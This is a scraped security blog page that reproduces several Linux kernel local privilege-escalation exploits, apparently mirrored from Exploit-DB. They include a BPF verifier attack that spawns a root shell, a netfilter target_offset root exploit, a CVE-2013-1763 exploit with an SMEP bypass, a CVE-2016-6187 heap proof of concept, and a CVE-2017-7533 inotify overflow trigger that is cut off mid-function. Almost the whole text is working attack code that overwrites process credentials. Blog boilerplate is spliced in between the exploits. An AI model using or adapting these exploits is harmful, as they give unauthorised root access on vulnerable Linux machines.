/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863563782
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/**
EDB Note ~ Download: http://cyseclabs.com/exploits/matreshka.c
Blog ~ http://cyseclabs.com/blog/cve-2016-6187-heap-off-by-one-exploit
**/
/**
* Quick and dirty PoC for CVE-2016-6187 heap off-by-one PoC
* By Vitaly Nikolenko
* vnik@cyseclabs.com
*
* There's no privilege escalation payload but the kernel will execute
* instructions from 0xdeadbeef.
*
* gcc matreshka.c -o matreshka -lpthread
*
* greetz to dmr and s1m0n
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <strings.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
void setup_pagefault(void *, unsigned, uint8_t);
const int pagesize = 4096;
struct {
long mtype;
char mtext[48];
} msg;
struct thread_struct {
int fd;
uint8_t h_sw; // handler switch
uint8_t count;
};
struct subprocess_info {
long a; long b; long c; long d; // 32 bytes for work_struct
long *complete;
char *path;
char **argv;
char **envp;
int wait;
int retval;
int (*init)(void);
int (*cleanup)(void);
void *data;
};
void *pf_handler(void *data) {
struct thread_struct *params = data;
int count = params->count;
int fd = params->fd;
for (;;) {
struct uffd_msg msg;
struct pollfd pollfd[1];
pollfd[0].fd = params->fd;
pollfd[0].events = POLLIN;
int pollres;
pollres = poll(pollfd, 1, -1);
switch (pollres) {
case -1:
perror("poll userfaultfd");
continue;
break;
case 0: continue; break;
case 1: break;
default:
exit(2);
}
if (pollfd[0].revents & POLLERR) {
exit(1);
}
if (!(pollfd[0].revents & POLLIN)) {
continue;
}
int readret;
readret = read(fd, &msg, sizeof(msg));
if (readret == -1) {
if (errno == EAGAIN)
continue;
perror("read userfaultfd");
}
if (readret != sizeof(msg)) {
fprintf(stderr, "short read, not expected, exiting\n");
exit(1);
}
long long addr = msg.arg.pagefault.address;
char buf[pagesize];
long *ptr = (long *)buf;
// just for lolz
memset(buf, 'B', pagesize);
struct uffdio_copy cp;
cp.src = (long long)buf;
cp.dst = (long long)(addr & ~(0x1000 - 1));
cp.len = (long long)pagesize;
cp.mode = 0;
void *tmp_addr;
if (count != 3) {
if (count % 2)
tmp_addr = (void *)(0x40000000 & ~(0x1000 - 1));
else
tmp_addr = (void *)((0x40000000 & ~(0x1000 - 1)) + 0x1000);
// remap and set up the page fault hander
munmap(tmp_addr, 0x1000);
void *region = mmap(tmp_addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
setup_pagefault(tmp_addr, 0x1000, ++count);
} else {
// change the first page which is already mmaped
struct subprocess_info *p = (struct subprocess_info *)(0x40000000 + 0x1000 - 88);
p->path = 0;
p->cleanup = (void *)0xdeadbeef;
}
if (ioctl(fd, UFFDIO_COPY, &cp) == -1) {
perror("ioctl(UFFDIO_COPY)");
}
}
return NULL;
}
void setup_pagefault(void *addr, unsigned size, uint8_t count) {
void *region;
int uffd;
pthread_t uffd_thread;
struct uffdio_api uffdio_api;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
perror("syscall");
return;
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
// just to be nice
if (ioctl(uffd, UFFDIO_API, &uffdio_api)) {
fprintf(stderr, "UFFDIO_API\n");
exit(1);
}
if (uffdio_api.api != UFFD_API) {
fprintf(stderr, "UFFDIO_API error %Lu\n", uffdio_api.api);
exit(1);
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("ioctl(UFFDIO_REGISTER)");
exit(1);
}
printf("userfaultfd ioctls: 0x%llx\n", uffdio_register.ioctls);
int expected = UFFD_API_RANGE_IOCTLS;
if ((uffdio_register.ioctls & expected) != expected) {
fprintf(stderr, "ioctl set is incorrect\n");
exit(1);
}
struct thread_struct thr_params;
struct thread_struct *params = (struct thread_struct *)malloc(sizeof(struct thread_struct));
params->fd = uffd;
params->count = count;
pthread_create(&uffd_thread, NULL, pf_handler, (void *)params);
}
int main(int argc, char **argv) {
void *region, *map;
pthread_t uffd_thread;
int uffd, msqid, i;
region = (void *)mmap((void *)0x40000000, 0x2000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
if (!region) {
perror("mmap");
exit(2);
}
setup_pagefault(region + 0x1000, 0x1000, 1);
printf("my pid = %d\n", getpid());
if (!map) {
perror("mmap");
}
//memset(msg.mtext, 'A', sizeof(msg.mtext)-1);
unsigned long *p = (unsigned long *)msg.mtext;
for (i = 0; i < 6; i++) {
*p ++ = 0x0000000040000000 + 0x1000 - 88;
}
msg.mtype = 1;
msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
for (i = 0; i < 320; i++) { // that's generally the limit
if (msgsnd(msqid, &msg, 48, 0) == -1) {
perror("msgsnd");
return -1;
}
}
char buf[96];
p = (unsigned long *)buf;
for (i = 0; i < 11; i++) {
*p ++ = 0x40000000 + 0x1000 - 88;
}
*p ++ = 0xfffffffffffffff;
int fd = open("/proc/self/attr/current", O_RDWR);
write(fd, buf, 96);
// go figure why we do it 3 times
msgsnd(msqid, &msg, 48, 0);
msgsnd(msqid, &msg, 48, 0);
msgsnd(msqid, &msg, 48, 0);
socket(22, AF_INET, 0);
close(fd);
return 0;
}
/**
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44300.zip
Video ~ https://www.youtube.com/watch?v=qchiJn94kTo
**/
/** decr.c **/
/**
* Ubuntu 16.04 local root exploit - netfilter target_offset OOB
* check_compat_entry_size_and_hooks/check_entry
*
* Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
*
* Vitaly Nikolenko
* vnik@cyseclabs.com
* 23/04/2016
*
*
* ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
* automatic loading).
*
* vnik@ubuntu:~$ uname -a
* Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
* vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
* vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
* vnik@ubuntu:~$ ./decr
* netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
* [!] Decrementing the refcount. This may take a while...
* [!] Wait for the "Done" message (even if you'll get the prompt back).
* vnik@ubuntu:~$ [+] Done! Now run ./pwn
*
* vnik@ubuntu:~$ ./pwn
* [+] Escalating privs...
* root@ubuntu:~# id
* uid=0(root) gid=0(root) groups=0(root)
* root@ubuntu:~#
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MALLOC_SIZE 66*1024
int check_smaep() {
FILE *proc_cpuinfo;
char fbuf[512];
proc_cpuinfo = fopen("/proc/cpuinfo", "r");
if (proc_cpuinfo < 0) {
perror("fopen");
return -1;
}
memset(fbuf, 0, sizeof(fbuf));
while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
if (strlen(fbuf) == 0)
continue;
if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
fclose(proc_cpuinfo);
return -1;
}
}
fclose(proc_cpuinfo);
return 0;
}
int check_mod() {
FILE *proc_modules;
char fbuf[256];
proc_modules = fopen("/proc/modules", "r");
if (proc_modules < 0) {
perror("fopen");
return -1;
}
memset(fbuf, 0, sizeof(fbuf));
while(fgets(fbuf, 256, proc_modules) != NULL) {
if (strlen(fbuf) == 0)
continue;
if (!strncmp("ip_tables", fbuf, 9)) {
fclose(proc_modules);
return 0;
}
}
fclose(proc_modules);
return -1;
}
int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("socket");
return -1;
}
data = malloc(MALLOC_SIZE);
if (data == NULL) {
perror("malloc");
return -1;
}
memset(data, 0, MALLOC_SIZE);
repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
strcpy(ematch->u.user.name, "icmp");
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;
ematch->u.match_size = (short)0xffff;
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;
printf("[!] Decrementing the refcount. This may take a while...\n");
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
}
close(sock);
free(data);
printf("[+] Done! Now run ./pwn\n");
return 0;
}
int main(void) {
void *stack;
int ret;
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
if (check_mod()) {
printf("[-] No ip_tables module found! Quitting...\n");
return -1;
}
if (check_smaep()) {
printf("[-] SMEP/SMAP support dectected! Quitting...\n");
return -1;
}
ret = unshare(CLONE_NEWUSER);
if (ret == -1) {
perror("unshare");
return -1;
}
stack = (void *) malloc(65536);
if (stack == NULL) {
perror("malloc");
return -1;
}
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
sleep(1);
return 0;
}
/** decr.c EOF **/
/** pwn.c **/
/**
* Run ./decr first!
*
* 23/04/2016
* - vnik
*/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
memset(shellcode, 0, 0x300000);
void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);
printf("[+] Escalating privs...\n");
int fd = open("/dev/ptmx", O_RDWR);
close(fd);
assert(!getuid());
printf("[+] We've got root!");
return execl("/bin/bash", "-sh", NULL);
}
/** pwn.c EOF **/
/**
* based on the exploit by SynQ
*
* Modified PoC for CVE-2013-1763 with SMEP bypass
* Presentation: Practical SMEP Bypass Techniques on Linux
* Vitaly Nikolenko
* vnik@cyseclabs.com
*
* Target: Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
*
* gcc sockdiag_smep.c -O2 -o pwn
*/
/**
EDB Note: Video ~ https://youtu.be/jHJd-5NvWlQ
**/
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/inet_diag.h>
#include <sys/mman.h>
#include <assert.h>
//#include <linux/sock_diag.h>
//#include <linux/unix_diag.h>
//#include <linux/netlink.h>
#include "sock_diag.h"
#include "unix_diag.h"
#include "netlink.h"
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
static void saveme() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
if(!getuid())
system("/bin/sh");
exit(0);
}
static void restore() {
asm volatile(
"swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
: : "r" (user_ss),
"r" ((unsigned long)0x36000000),
"r" (user_rflags),
"r" (user_cs),
"r" (shell)
);
}
int __attribute__((regparm(3)))
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
restore();
return -1;
}
int main(int argc, char*argv[])
{
int fd;
struct sock_diag_handler {
__u8 family;
int (*dump)(void *a, void *b);
};
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
void *mapped;
void *fakestruct;
struct sock_diag_handler a;
a.dump = (void *)0xffffffff8100b74f;
commit_creds = (_commit_creds) 0xffffffff8107ee30;
prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107f0c0;
assert((fakestruct = mmap((void *)0x10000, 0x10000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE, 0, 0)) == (void*)0x10000);
memcpy(fakestruct+0xad38, &a, sizeof(a));
assert((mapped = mmap((void*)0x35000000, 0x10000000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)0x35000000);
unsigned long *fakestack = (unsigned long *)mapped;
*fakestack ++= 0xffffffff01661ef4;
int p;
for (p = 0; p < 0x1000000; p++)
*fakestack ++= 0xffffffff8100ad9eUL;
fakestack = (unsigned long *)(mapped + 0x7000000);
printf("[+] fake stack addr = %lx\n", (long unsigned)fakestack);
*fakestack ++= 0xffffffff8133dc8fUL;
*fakestack ++= 0x407e0;
*fakestack ++= 0xffffffff810032edUL;
*fakestack ++= 0xdeadbeef;
*fakestack ++= (unsigned long)kernel_code; // transfer control to our usual shellcode
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.sdiag_family = 45;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
saveme();
if ( send(fd, &req, sizeof(req), 0) < 0) {
printf("bad send\n");
close(fd);
return -1;
}
}
/*
*
*
* CVE-2017-7533 inotfiy linux kernel vulnerability.
*
* $ gcc -o exploit exploit.c -lpthread
* $./exploit
*
* ```
* Listening for events.
* Listening for events.
* alloc_len : 50
* longname="test_dir/bbbb32103210321032100��1����"
* handle_events() event->name : b, event->len : 16
* Detected overwrite!!!
* callrename done.
* alloc_len : 50
* ```
* This is a heap overflow bug,
* tested on the Debian 8 Linux version 3.16.39(amd64) successfully.
*
* You could modifiy one byte to manipulate rip register, but I do not tried hard to get root.
*
* Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university.
* ```
* ```
* Jeremy Huang (jeremyhcw@gmail.com)
*/
//Trigger inotify event by file open and rename to trigger the vulnerability and exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/eventfd.h>
#include <sys/inotify.h>
#include <sys/mman.h>
#include <ctype.h>
#include <errno.h>
#include <err.h>
#include <poll.h>
#include <unistd.h>
void *callrename( void *ptr );
void *openclose( void *ptr );
pthread_t thread1, thread2;
int lastfd;
char *space;
int original,printed, *int_space;
volatile int stop = 0;
// Try kmalloc-192 made by cyclic(100)
char *orig_name = "f";
// 120
//char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
static void handle_events(int fd, int *wd, int argc, char* argv[])
{
/* Some systems cannot read integer variables if they are not
properly aligned. On other systems, incorrect alignment may
decrease performance. Hence, the buffer used for reading from
the inotify file descriptor should have the same alignment as
struct inotify_event. */
char buf[4096]
__attribute__ ((aligned(__alignof__(struct inotify_event))));
const struct inotify_event *event;
int i;
ssize_t len;
char *ptr;
/* Loop while events can be read from inotify file descriptor. */
for (;;) {
/* Read some events. */
len = read(fd, buf, sizeof buf);
if (len == -1 && errno != EAGAIN) {
perror("read");
exit(EXIT_FAILURE);
}
/* If the nonblocking read() found no events to read, then
it returns -1 with errno set to EAGAIN. In that case,
we exit the loop. */
if (len <= 0)
break;
/* Loop over all events in the buffer */
for (ptr = buf; ptr < buf + len;
ptr += sizeof(struct inotify_event) + event->len) {
event = (const struct inotify_event *) ptr;
/* Print event type */
/*
if (event->mask & IN_OPEN)
printf("IN_OPEN: ");
if (event->mask & IN_CLOSE_NOWRITE)
printf("IN_CLOSE_NOWRITE: ");
if (event->mask & IN_CLOSE_WRITE)
printf("IN_CLOSE_WRITE: ");
if (event->mask % IN_ACCESS)
printf("IN_ACCESS: ");
*/
/* Print the name of the watched directory */
for (i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
//printf("%s/", argv[i]);
break;
}
}
/* Print the name of the file */
if (event->len && strcmp(event->name, orig_name)) {
printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len);
if ( !strcmp(event->name, "b") && strlen(event->name) == 1) {
printf("Detected overwrite!!!\n");
stop = 1;
break;
}
}
/* Print type of filesystem object */
/*
if (event->mask & IN_ISDIR)
printf(" [directory]\n");
else
printf(" [file]\n");
*/
}
}
}
static void* notify_thread_func(void* arg)
{
char buf;
int fd, i, poll_num;
int *wd;
nfds_t nfds;
struct pollfd fds[2];
int argc = 2;
char *argv[] = { NULL, "test_dir", NULL};
/*
if (argc < 2) {
printf("Usage: %s PATH [PATH ...]\n", argv[0]);
exit(EXIT_FAILURE);
}
*/
//printf("Press ENTER key to terminate.\n");
/* Create the file descriptor for accessing the inotify API */
fd = inotify_init1(IN_NONBLOCK);
if (fd == -1) {
perror("inotify_init1");
exit(EXIT_FAILURE);
}
/* Allocate memory for watch descriptors */
wd = calloc(argc, sizeof(int));
if (wd == NULL) {
perror("calloc");
exit(EXIT_FAILURE);
}
/* Mark directories for events
- file was opened
- file was closed */
for (i = 1; i < argc; i++) {
wd[i] = inotify_add_watch(fd, argv[i],
IN_OPEN | IN_CLOSE| IN_ACCESS);
if (wd[i] == -1) {
fprintf(stderr, "Cannot watch '%s'\n", argv[i]);
perror("inotify_add_watch");
exit(EXIT_FAILURE);
}
}
/* Prepare for polling */
nfds = 2;
/* Console input */
fds[0].fd = STDIN_FILENO;
fds[0].events = POLLIN;
/* Inotify input */
fds[1].fd = fd;
fds[1].events = POLLIN;
printf("Listening for events.\n");
while (!stop) {
poll_num = poll(fds, nfds, -1);
if (poll_num == -1) {
if (errno == EINTR)
continue;
perror("poll");
exit(EXIT_FAILURE);
}
if (poll_num > 0) {
if (fds[1].revents & POLLIN) {
handle_events(fd, wd, argc, argv);
}
}
}
close(fd);
free(wd);
exit(EXIT_SUCCESS);
}
void *trigger_rename_open(void* arg)
{
int iret1, iret2,i;
setvbuf(stdout,0,2,0);
iret1 = pthread_create( &thread1, NULL, callrename, NULL);
if(iret1)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
exit(EXIT_FAILURE);
}
iret2 = pthread_create( &thread2, NULL, openclose, NULL);
if(iret2)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
exit(EXIT_FAILURE);
}
pthread_join( thread1, NULL);
pthread_join( thread2, NULL);
exit(EXIT_SUCCESS);
}
// 250
char *longname_padding = "bbbb3210321032103210";
//char *longname_padding = "bbbb32103210321032103210ABCDEF";
/*
rcx : 44434241..
DCDA0123
*/
// char *longname_padding = "bbbb3210321032GFEDCBA";
// 31 will crash
void *callrename( void *ptr )
{
int i,m,k;
char enter = 0;
char origname[1024];
char longname[1024];
char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
char prev_ptr[8] = "";
// This value will overwrite the next (struct fsnotify_event)event->list.next
// create shortname being initial name.
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
//printf("origname=\"%s\"\n", origname);
snprintf(longname, sizeof longname, "test_dir/%s%s%s",
longname_padding, next_ptr, prev_ptr);
//strcat(longname,space);
printf("longname=\"%s\"\n", longname);
for (i=0;i<10000 && !stop ;i++)
{
if (rename(origname,longname)<0) perror("rename1");
if (rename(longname,origname)<0) perror("rename2");
}
printf("callrename done.\n");
}
void *openclose( void *ptr )
{
int j,fd,m,k;
char origname[1024];
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
for (j=0;j<8000 && !stop;j++ )
{
open(origname,O_RDWR);
}
